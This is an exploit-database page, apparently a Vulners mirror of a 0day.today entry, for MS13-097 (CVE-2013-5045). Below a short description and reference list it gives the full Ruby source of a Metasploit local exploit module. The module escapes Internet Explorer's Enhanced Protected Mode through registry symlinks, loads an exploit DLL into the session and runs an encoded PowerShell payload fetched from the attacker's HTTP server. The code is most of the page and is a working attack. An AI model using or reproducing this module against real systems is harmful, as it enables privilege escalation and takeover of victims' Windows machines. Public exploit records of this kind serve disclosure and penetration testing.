MS13-097 Registry Symlink IE Sandbox Escape Exploit

🗓️ 27 Jun 2014 00:00:00Reported by metasploitType

zdt🔗 0day.today👁 54 Views

This module exploits a vulnerability in Internet Explorer Sandbox to escape Enhanced Protected Mode and execute code with Medium Integrity. It uses registry symlinks to force IE to add a policy entry in the registry and bypass Enhanced Protected Mode

Reporter	Title	Published	Views	Family All 13
CVE	CVE-2013-5045	11 Dec 201300:00	–	cve
Cvelist	CVE-2013-5045	11 Dec 201300:00	–	cvelist
Exploit DB	Microsoft Registry Symlink - IE Sandbox Escape (MS13-097) (Metasploit)	27 Jun 201400:00	–	exploitdb
Microsoft KB	MS13-097: Cumulative security update for Internet Explorer: December 10, 2013	10 Dec 201300:00	–	mskb
Metasploit	MS13-097 Registry Symlink IE Sandbox Escape	29 May 201416:42	–	metasploit
NVD	CVE-2013-5045	11 Dec 201300:55	–	nvd
OpenVAS	Microsoft Internet Explorer Multiple Vulnerabilities (2898785)	11 Dec 201300:00	–	openvas
Packet Storm	MS13-097 Registry Symlink IE Sandbox Escape	27 Jun 201400:00	–	packetstorm
Prion	Privilege escalation	11 Dec 201300:55	–	prion
securityvulns	Microsoft Internet Explorer multiple security vulnerabilities	16 Dec 201300:00	–	securityvulns

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'
 
class Metasploit3 < Msf::Exploit::Local
  Rank = GreatRanking
 
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer
  include Msf::Post::Windows::Priv
 
  def initialize(info={})
    super( update_info( info,
      'Name'           => 'MS13-097 Registry Symlink IE Sandbox Escape',
      'Description'     => %q{
        This module exploits a vulnerability in Internet Explorer Sandbox which allows to
        escape the Enhanced Protected Mode and execute code with Medium Integrity. The
        vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
        component, which can be abused to force medium integrity IE to user influenced keys.
        By using registry symlinks it's possible force IE to add a policy entry in the registry
        and finally bypass Enhanced Protected Mode.
      },
      'License'         => MSF_LICENSE,
      'Author'         =>
        [
          'James Forshaw', # Vulnerability Discovery and original exploit code
          'juan vazquez' # metasploit module
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter' ],
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'         =>
        [
          [ 'IE 8 - 11', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => "Dec 10 2013",
      'References'     =>
        [
          ['CVE', '2013-5045'],
          ['MSB', 'MS13-097'],
          ['BID', '64115'],
          ['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
        ]
    ))
 
    register_options(
      [
        OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
      ])
  end
 
  def exploit
    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
 
    mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
    if mod_handle['return'] == 0
      fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
    end
 
    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
    end
 
    begin
      Timeout.timeout(datastore['DELAY']) { super }
    rescue Timeout::Error
    end
 
    session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
    session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
  end
 
  def primer
    cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
    session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
 
    html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
    session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
 
    temp = get_env('TEMP')
 
    print_status("Loading Exploit Library...")
 
    session.core.load_library(
      'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
      'TargetFilePath'  => temp +  "\\CVE-2013-5045.dll",
      'UploadLibrary'   => true,
      'Extension'       => false,
      'SaveToDisk'      => false
    )
  end
 
  def on_request_uri(cli, request)
    if request.uri =~ /\.html$/
      print_status("Sending window close html...")
      close_html = <<-eos
<html>
<body>
<script>
window.open('', '_self', '');
window.close();
</script>
</body>
</html>
      eos
      send_response(cli, close_html, { 'Content-Type' => 'text/html' })
    else
      send_not_found(cli)
    end
  end
 
end

#  0day.today [2018-02-18]  #

27 Jun 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7

EPSS0.24226